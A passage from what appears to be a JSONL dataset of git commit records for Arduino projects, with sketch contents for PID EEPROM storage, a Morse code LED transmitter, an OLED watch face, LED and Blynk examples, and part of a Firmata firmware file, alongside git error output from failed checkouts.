aTune.SetNoiseBand(aTuneNoise);\n aTune.SetOutputStep(aTuneStep);\n aTune.SetLookbackSec((int)aTuneLookBack);\n tuning = true;\n}\n\nvoid FinishAutoTune()\n{\n tuning = false;\n\n \/\/ Extract the auto-tune calculated parameters\n Kp = aTune.GetKp();\n Ki = aTune.GetKi();\n Kd = aTune.GetKd();\n\n \/\/ Re-tune the PID and revert to normal control mode\n myPID.SetTunings(Kp,Ki,Kd);\n myPID.SetMode(ATuneModeRemember);\n \n \/\/ Persist any changed parameters to EEPROM\n SaveParameters();\n alreadyTuned = true;\n \n Serial.println(\"finished autotuning\");\n}\n\n\/\/ ************************************************\n\/\/ Saves PID parameters Kp, Ki, Kd to EEPROM\n\/\/ ************************************************\nvoid SaveParameters()\n{\n if (Setpoint != EEPROM_readDouble(SpAddress))\n {\n EEPROM_writeDouble(SpAddress, Setpoint);\n }\n if (Kp != EEPROM_readDouble(KpAddress))\n {\n EEPROM_writeDouble(KpAddress, Kp);\n }\n if (Ki != EEPROM_readDouble(KiAddress))\n {\n EEPROM_writeDouble(KiAddress, Ki);\n }\n if (Kd != EEPROM_readDouble(KdAddress))\n {\n EEPROM_writeDouble(KdAddress, Kd);\n }\n}\n\n\/\/ ************************************************\n\/\/ Loads PID parameters Kp, Ki, Kd from EEPROM\n\/\/ ************************************************\nvoid LoadParameters()\n{\n \/\/ Load from EEPROM\n alreadyTuned = false;\n Setpoint = EEPROM_readDouble(SpAddress);\n Kp = EEPROM_readDouble(KpAddress);\n Ki = EEPROM_readDouble(KiAddress);\n Kd = EEPROM_readDouble(KdAddress);\n \n \/\/ Use defaults if EEPROM values are invalid\n if (isnan(Setpoint))\n {\n Setpoint = 60;\n }\n if (isnan(Kp))\n {\n Kp = 850;\n alreadyTuned = false;\n }\n if (isnan(Ki))\n {\n Ki = 0.5;\n alreadyTuned = false;\n }\n if (isnan(Kd))\n {\n Kd = 0.1;\n alreadyTuned = false;\n } \n}\n\n\/\/ ************************************************\n\/\/ Write floating point values to EEPROM\n\/\/ ************************************************\nvoid EEPROM_writeDouble(int address, double value)\n{\n byte* p = (byte*)(void*)&value;\n for (int i = 0; i < sizeof(value); i++)\n {\n EEPROM.write(address++, *p++);\n }\n}\n\n\/\/ ************************************************\n\/\/ Read floating point values from EEPROM\n\/\/ ************************************************\ndouble EEPROM_readDouble(int address)\n{\n double value = 0.0;\n byte* p = (byte*)(void*)&value;\n for (int i = 0; i < sizeof(value); i++)\n {\n *p++ = EEPROM.read(address++);\n }\n return value;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rice-cooker-sous-vide\/rice-cooker-sous-vide.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"03b58553afbe952f567616af75813e3c586aab3e","subject":"Fix typo.","message":"Fix typo.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"c210bb7768e980aa09ea55d508fc6e68ac1ece39","subject":"Longer motor and electronics stabilization delay. Reset max and min values after each iteration instead of using old one. Wonderful ellipses function lcd_slow_dots(uint, uint).","message":"Longer motor and electronics stabilization delay. Reset max and min values after each iteration instead of using old one. Wonderful ellipses function lcd_slow_dots(uint, uint).\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41690a62f5b83a41cbb046b641b73ef0fcf862a8","subject":"moved sketch to sub-directory","message":"moved sketch to sub-directory\n","repos":"romilly\/tworse,romilly\/tworse,romilly\/tworse","old_file":"sketches\/morse_complete\/morse_complete.ino","new_file":"sketches\/morse_complete\/morse_complete.ino","new_contents":"\/* \n\n This code is in the public domain.\n \n It's one of the examples from\n https:\/\/leanpub.com\/lifeafterblink\n \n \n The code is adapted from\n http:\/\/www.arduino.cc\/en\/Tutorial\/SerialEvent\n and\n http:\/\/arduino.cc\/en\/Tutorial\/Blink\n \n*\/\n\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\/\/ Length of a dot in milliseconds\n#define DIT 200\n\n\/*\n\nCodes for Morse Coder\n---------------------\n\nThe codes are strings representing the characters\nincluding the alphabet, the digits from 0-9, and\nsp,e punctuation.\n\nThe codes are stored as an array of strings,\nindexed by the ASCII value of the character they represent.\n\nASCII characters that have no Morse code equivalent\nare converted to *\n\nSpace is special.\nIt is converted to a string containing a single space.\n\n*\/\n\nchar *codes[127] = {\n\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\" \",\"*\",\".-..-.\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\".-.-.\",\"--..--\",\"-....-\",\".-.-.-\",\"-..-.\",\"-----\",\".----\",\"..---\",\"...--\",\"....-\",\".....\",\"-....\",\"--...\",\"---..\",\"----.\",\"---...\",\"-.-.-.\",\"*\",\"-...-\",\"-.--.\",\"..--..\",\".--.-.\",\".-\",\"-...\",\"-.-.\",\"-..\",\".\",\"..-.\",\"--.\",\"....\",\"..\",\".---\",\"-.-\",\".-..\",\"--\",\"-.\",\"---\",\".--.\",\"--.-\",\".-.\",\"...\",\"-\",\"..-\",\"...-\",\".--\",\"-..-\",\"-.--\",\"--..\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\"*\",\".-...\",\"*\",\"...-.-\"\n};\n\nchar *morse(char input) {\n return codes[input];\n}\n\n\/\/ Add code to define which LED to use here\nint led = 13;\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ reserve 141 bytes for the inputString:\n inputString.reserve(141);\n \/\/ Add code to initialise LED pin as output here\n pinMode(led, OUTPUT); \n}\n\nvoid transmit(char *ascii_text) {\n int i = 0;\n Serial.print(ascii_text);\n while (ascii_text[i] != 0) {\n char c = ascii_text[i];\n switch (c) {\n case '*':\n break;\n case '.':\n on(1);\n break;\n case '-':\n on(3);\n break;\n case ' ':\n off(6);\n Serial.print(\" \");\n }\n i++;\n off(1);\n }\n off(2);\n Serial.print(\" \");\n}\n\nvoid on(int length) {\n \/\/ do something here\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(DIT * length); \/\/ wait\n}\n\nvoid off(int length) {\n \/\/ do something here\n digitalWrite(led, LOW);\n delay(DIT * length);\n}\n\nvoid loop() {\n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n for (int i = 0; i < inputString.length(); i++) {\n transmit(morse(inputString.charAt(i)));\n }\n \/\/ print a newline\n Serial.print('\\n');\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n}\n \n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\n \nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it and return\n if (inChar == '\\n' or inChar == '\\r') {\n stringComplete = true;\n return;\n } \n \/\/ if not a newline, add the character to the inputString:\n inputString += inChar;\n }\n}\n \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/morse_complete\/morse_complete.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f3384af02ef58849c2ccb5f0c50ec466a593e9dc","subject":"removed unneeded local test","message":"removed unneeded local test\n","repos":"asmateus\/flight-stone,asmateus\/flight-stone,asmateus\/flight-stone,asmateus\/flight-stone","old_file":"extra\/local_tests\/testing_serial.ino\/testing_serial.ino.ino","new_file":"extra\/local_tests\/testing_serial.ino\/testing_serial.ino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/asmateus\/flight-stone.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ffdef81228b25e8cddf77162fcab6c4e46e7a885","subject":"Cerveau: AI - add interruption emergency button","message":"Cerveau: AI - add interruption emergency button\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Artificial' did not match any file(s) known to git\nerror: pathspec 'Intelligence\/ai\/ai\/ai.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e0a7127868992b9867d7f0a4e5395865acc0466b","subject":"initial sketch","message":"initial sketch\n\nmain file for project","repos":"nathan206100\/Open-Watch","old_file":"watch_main_sketch.ino","new_file":"watch_main_sketch.ino","new_contents":"\/*\n * Nathan Steward\n * 7\/17\/2017\n * Published under MIT liscense\n * \n * TODO:\n * add in DS3231 RTC compatibility\n * add menu\n * add battery monitor code\n *\/\n\n#include <Time.h>\n#include <TimeLib.h> \/\/temp libs for time\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\n\nvoid setup() { \n Serial.begin(9600);\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C);\n display.display(); \/\/redo loaded art so it's like \"something clock\"\n delay(200); \/\/stay for a little\n display.clearDisplay(); \/\/clear and end setup\n} \/\/end setup\n\n\nvoid loop() {\n byte XCENTER = 128\/4 - 1;\n byte YCENTER = 64\/2 - 1;\n byte hr = 7;\n byte mn = 54;\n byte sc = 0;\n byte dy = 0;\n byte mnth = 0;\n uint8_t yr = 0;\n char ap;\n setTime(hr,mn,sc,dy,mnth,yr);\n \n while(1){ \n timeGet(hr,mn,sc,ap);\n drawFace(XCENTER,YCENTER,ap);\n setHands(XCENTER,YCENTER,hr,mn,sc);\n setBattery();\n display.display();\n delay(50);\n display.clearDisplay();\n \n }\n} \/\/end loop\n\n\nvoid timeGet(byte& getHour, byte& getMinute, byte& getSecond, char& amPm){ \n \/\/pings for time, whatever method that may be\n getHour = hourFormat12();\n getMinute = minute();\n getSecond = second();\n} \/\/end timeGet\n\n\nvoid drawFace(byte xcenter,byte ycenter,char amPm){ \n \/\/draws circle or whatever will be backdrop\n display.drawCircle(xcenter, ycenter, 31, WHITE);\n display.fillCircle(xcenter, ycenter, 3, WHITE); \/\/just for aesthetic\n \/\/write rest of face \n \n} \/\/end drawFace\n\n\nvoid setHands(byte xcenter, byte ycenter, byte drawHour, byte drawMinute, byte drawSecond){ \n \/\/does calculations for hand lines while setting\n double pi = 3.14159; \/\/needed local constant\n byte rhr = 14; \/\/radius of hour hand\n byte rmn = 22; \/\/radius of minute hand\n byte rsc = 31; \/\/radius of second hand\n \n \/*\n * maths\n * ~>take sin or cos of the percentage of the circle w\/r\/t\n * the percentage of seconds\/minutes\/hours passed out of 60\/60\/12 and multiply by\n * radius to find value, given circle is centered at (0,0). add offsets xcenter\/ycenter \n * to adjust position\n * \n * find y coordinate\n * cos(2pi * minutes or seconds \/60)* radius\n * cos(2pi * hours\/12)* radius\n * \n * find x coordinate\n * sin(2pi* minutes or seconds \/60)* radius\n * sin(2pi* hours\/12)* radius\n *\/\n \n display.drawLine(xcenter, ycenter, int (sin(2*pi*drawHour\/12)*rhr)+xcenter, int (-cos(2*pi*drawHour\/12)*rhr)+ycenter, WHITE);\/\/hour\n display.drawLine(xcenter, ycenter, int (sin(2*pi*drawMinute\/60)*rmn)+xcenter, int (-cos(2*pi*drawMinute\/60)*rmn)+ycenter, WHITE);\/\/minute\n display.drawLine(xcenter, ycenter, int (sin(2*pi*drawSecond\/60)*rsc)+xcenter, int (-cos(2*pi*drawSecond\/60)*rsc)+ycenter, WHITE);\/\/second\n} \/\/end setTime\n\nvoid setBattery(){ \/\/seperate funtion to call battery levels\n display.fillRect(82,40,3,14,WHITE);\n display.drawRoundRect(86,37,39,20,3,WHITE);\n display.drawRoundRect(85,36,41,22,4,WHITE);\n \/\/sequentially shows percentage in 20 percent portions\n display.fillRoundRect(89,40,5,14,2,WHITE);\n display.fillRoundRect(96,40,5,14,2,WHITE);\n display.fillRoundRect(103,40,5,14,2,WHITE);\n display.fillRoundRect(110,40,5,14,2,WHITE);\n display.fillRoundRect(117,40,5,14,2,WHITE);\n} \/\/end setBattery\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'watch_main_sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"42ce081d7ee2772c7f39c41a38bfcd834d3298a3","subject":"Adding the Arduino DC motor speed control sketch created a few weeks ago.","message":"Adding the Arduino DC motor speed control sketch created a few weeks ago.\n","repos":"PhantomGrazzler\/02-Single-DOF-Platform,PhantomGrazzler\/02-Single-DOF-Platform","old_file":"DCMotorSpeedControl\/DCMotorSpeedControl.ino","new_file":"DCMotorSpeedControl\/DCMotorSpeedControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PhantomGrazzler\/02-Single-DOF-Platform.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"46ad97621386341903c940ad7fb80b70c14008f3","subject":"Add Arduino scetch","message":"Add Arduino scetch\n","repos":"Galakart\/LcdInformer","old_file":"scetch\/LCDinformer.ino","new_file":"scetch\/LCDinformer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Galakart\/LcdInformer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"70026f6daa0f89f036fa83e37e112fee5832099b","subject":"haunted house lights","message":"haunted house lights\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"test\/haunted_house.ino","new_file":"test\/haunted_house.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6800f7fd10eddc6778a00a48d5174413820203ac","subject":"Add blink example","message":"Add blink example\n","repos":"yaneexy\/FastLED,MiketheChap\/FastLED,FastLED\/FastLED,NicoHood\/FastLED,liyanage\/FastLED,PaulStoffregen\/FastLED,corbinstreehouse\/FastLED,yaneexy\/FastLED,remspoor\/FastLED,kcouck\/FastLED,FastLED\/FastLED,kcouck\/FastLED,tullo-x86\/FastLED,MattDurr\/FastLED,PaulStoffregen\/FastLED,wsilverio\/FastLED,wsilverio\/FastLED,MiketheChap\/FastLED,MattDurr\/FastLED,ryankenney\/FastLED,PaulStoffregen\/FastLED,eshkrab\/FastLED-esp32,wilhelmryan\/FastLED,wilhelmryan\/FastLED,liyanage\/FastLED,ryankenney\/FastLED,FastLED\/FastLED,remspoor\/FastLED,felixLam\/FastLED,felixLam\/FastLED,corbinstreehouse\/FastLED,eshkrab\/FastLED-esp32,FastLED\/FastLED,neographophobic\/FastLED,tullo-x86\/FastLED,NicoHood\/FastLED,neographophobic\/FastLED","old_file":"examples\/Blink\/Blink.ino","new_file":"examples\/Blink\/Blink.ino","new_contents":"#include \"FastLED.h\"\n\n\/\/ How many leds in your strip?\n#define NUM_LEDS 6\n\n\/\/ For led chips like Neopixels, which have a data line, ground, and power, you just\n\/\/ need to define DATA_PIN. For led chipsets that are SPI based (four wires - data, clock,\n\/\/ ground, and power), like the LPD8806 define both DATA_PIN and CLOCK_PIN\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n\n\/\/ Define the array of leds\nCRGB leds[NUM_LEDS];\n\nvoid setup() { \n \/\/ Uncomment\/edit one of the following lines for your leds arrangement.\n \/\/ FastLED.addLeds<TM1803, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<TM1804, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<TM1809, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<WS2811, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<WS2812, DATA_PIN, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<WS2812B, DATA_PIN, RGB>(leds, NUM_LEDS);\n \t FastLED.addLeds<NEOPIXEL, DATA_PIN>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<UCS1903, DATA_PIN, RGB>(leds, NUM_LEDS);\n\n \/\/ FastLED.addLeds<WS2801, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<SM16716, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<LPD8806, RGB>(leds, NUM_LEDS);\n\n \/\/ FastLED.addLeds<WS2801, DATA_PIN, CLOCK_PIN, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<SM16716, DATA_PIN, CLOCK_PIN, RGB>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<LPD8806, DATA_PIN, CLOCK_PIN, RGB>(leds, NUM_LEDS);\n}\n\nvoid loop() { \n \/\/ Turn the LED on, then pause\n leds[0] = CRGB::Red;\n FastLED.show();\n delay(500);\n \/\/ Now turn the LED off, then pause\n leds[0] = CRGB::Black;\n FastLED.show();\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d194f63a3d3346041918773d1e71d5e111da63ba","subject":"Add support for Arduino MKR ETH shield","message":"Add support for Arduino MKR ETH shield\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_Ethernet\/Arduino_MKR_ETH\/Arduino_MKR_ETH.ino","new_file":"examples\/Boards_Ethernet\/Arduino_MKR_ETH\/Arduino_MKR_ETH.ino","new_contents":"\/*************************************************************\n Download latest Blynk library here:\n https:\/\/github.com\/blynkkk\/blynk-library\/releases\/latest\n\n Blynk is a platform with iOS and Android apps to control\n Arduino, Raspberry Pi and the likes over the Internet.\n You can easily build graphic interfaces for all your\n projects by simply dragging and dropping widgets.\n\n Downloads, docs, tutorials: http:\/\/www.blynk.cc\n Sketch generator: http:\/\/examples.blynk.cc\n Blynk community: http:\/\/community.blynk.cc\n Social networks: http:\/\/www.fb.com\/blynkapp\n http:\/\/twitter.com\/blynk_app\n\n Blynk library is licensed under MIT license\n This example code is in public domain.\n\n *************************************************************\n This example shows how to use Arduino MKR ETH shield\n to connect your project to Blynk.\n\n Note: This requires the latest Ethernet library (2.0.0+)\n from http:\/\/librarymanager\/all#Ethernet\n\n WARNING: If you have an SD card, you may need to disable it\n by setting pin 4 to HIGH. Read more here:\n https:\/\/www.arduino.cc\/en\/Main\/ArduinoEthernetShield\n\n Feel free to apply it to any other example. It's simple!\n *************************************************************\/\n\n\/* Comment this out to disable prints and save space *\/\n#define BLYNK_PRINT Serial\n\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#define MKRETH_CS 5\n#define SDCARD_CS 4\n\nvoid setup()\n{\n \/\/ Debug console\n Serial.begin(9600);\n\n pinMode(SDCARD_CS, OUTPUT);\n digitalWrite(SDCARD_CS, HIGH); \/\/ Deselect the SD card\n\n Ethernet.init(MKRETH_CS); \/\/ Init MKR ETH shield\n\n Blynk.begin(auth);\n \/\/ You can also specify server:\n \/\/Blynk.begin(auth, \"blynk-cloud.com\", 80);\n \/\/Blynk.begin(auth, IPAddress(192,168,1,100), 8080);\n \/\/ For more options, see Boards_Ethernet\/Arduino_Ethernet_Manual example\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_Ethernet\/Arduino_MKR_ETH\/Arduino_MKR_ETH.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f7759489f6c50d052cf9c6dc079e0a379bf64de3","subject":"Adding standard firmata INO","message":"Adding standard firmata INO\n","repos":"kraman\/go-firmata,rakyll\/firmata,argandas\/go-firmata","old_file":"contrib\/ExtendedFirmata\/ExtendedFirmata.ino","new_file":"contrib\/ExtendedFirmata\/ExtendedFirmata.ino","new_contents":"\/*\n * Firmata is a generic protocol for communicating with microcontrollers\n * from software on a host computer. It is intended to work with\n * any host computer software package.\n *\n * To download a host software package, please clink on the following link\n * to open the download page in your default browser.\n *\n * http:\/\/firmata.org\/wiki\/Download\n *\/\n\n\/*\n Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved.\n Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved.\n Copyright (C) 2009 Shigeru Kobayashi. All rights reserved.\n Copyright (C) 2009-2011 Jeff Hoefs. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n See file LICENSE.txt for further informations on licensing terms.\n\n formatted using the GNU C formatting and indenting\n*\/\n\n\/*\n * TODO: use Program Control to load stored profiles from EEPROM\n *\/\n\n#include <Servo.h>\n#include <Wire.h>\n#include <Firmata.h>\n\n\/\/ move the following defines to Firmata.h?\n#define I2C_WRITE B00000000\n#define I2C_READ B00001000\n#define I2C_READ_CONTINUOUSLY B00010000\n#define I2C_STOP_READING B00011000\n#define I2C_READ_WRITE_MODE_MASK B00011000\n#define I2C_10BIT_ADDRESS_MODE_MASK B00100000\n\n#define MAX_QUERIES 8\n#define MINIMUM_SAMPLING_INTERVAL 10\n\n#define REGISTER_NOT_SPECIFIED -1\n\n\/*==============================================================================\n * GLOBAL VARIABLES\n *============================================================================*\/\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything\n \/\/ else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nint samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\n\/* i2c data *\/\nstruct i2c_device_info {\n byte addr;\n byte reg;\n byte bytes;\n};\n\n\/* for i2c read continuous more *\/\ni2c_device_info query[MAX_QUERIES];\n\nbyte i2cRxData[32];\nboolean isI2CEnabled = false;\nsigned char queryIndex = -1;\nunsigned int i2cReadDelayTime =\n 0; \/\/ default delay time between i2c read request and Wire.requestFrom()\n\nServo servos[MAX_SERVOS];\n\/*==============================================================================\n * FUNCTIONS\n *============================================================================*\/\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n \/\/ allow I2C requests that don't require a register read\n \/\/ for example, some devices using an interrupt pin to signify new data\n \/\/ available\n \/\/ do not always require the register read so upon interrupt you call\n \/\/ Wire.requestFrom()\n if (theRegister != REGISTER_NOT_SPECIFIED) {\n Wire.beginTransmission(address);\n#if ARDUINO >= 100\n Wire.write((byte)theRegister);\n#else\n Wire.send((byte)theRegister);\n#endif\n Wire.endTransmission();\n delayMicroseconds(i2cReadDelayTime); \/\/ delay is necessary for some devices\n \/\/ such as WiiNunchuck\n } else {\n theRegister = 0; \/\/ fill the register with a dummy value\n }\n\n Wire.requestFrom(address, numBytes); \/\/ all bytes are returned in requestFrom\n\n \/\/ check to be sure correct number of bytes were returned by slave\n if (numBytes == Wire.available()) {\n i2cRxData[0] = address;\n i2cRxData[1] = theRegister;\n for (int i = 0; i < numBytes; i++) {\n#if ARDUINO >= 100\n i2cRxData[2 + i] = Wire.read();\n#else\n i2cRxData[2 + i] = Wire.receive();\n#endif\n }\n } else {\n if (numBytes > Wire.available()) {\n Firmata.sendString(\"I2C Read Error: Too many bytes received\");\n } else {\n Firmata.sendString(\"I2C Read Error: Too few bytes received\");\n }\n }\n\n \/\/ send slave address, register and received bytes\n Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData);\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend) {\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if (forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n * check all the active digital inputs for change of state, then add any events\n * to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void) {\n \/* Using non-looping code allows constants to be given to readPort().\n * The compiler will apply substantial optimizations if the inputs\n * to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0])\n outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1])\n outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 && reportPINs[2])\n outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3])\n outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4])\n outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5])\n outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6])\n outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7])\n outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8])\n outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9])\n outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10])\n outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11])\n outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12])\n outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13])\n outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14])\n outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15])\n outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n * two bit-arrays that track Digital I\/O and PWM status\n *\/\nvoid setPinModeCallback(byte pin, int mode) {\n if (pinConfig[pin] == I2C && isI2CEnabled && mode != I2C) {\n \/\/ disable i2c so pins can be used for other functions\n \/\/ the following if statements should reconfigure the pins properly\n disableI2CPins();\n }\n if (IS_PIN_SERVO(pin) && mode != SERVO &&\n servos[PIN_TO_SERVO(pin)].attached()) {\n servos[PIN_TO_SERVO(pin)].detach();\n }\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin),\n mode == ANALOG ? 1 : 0); \/\/ turn 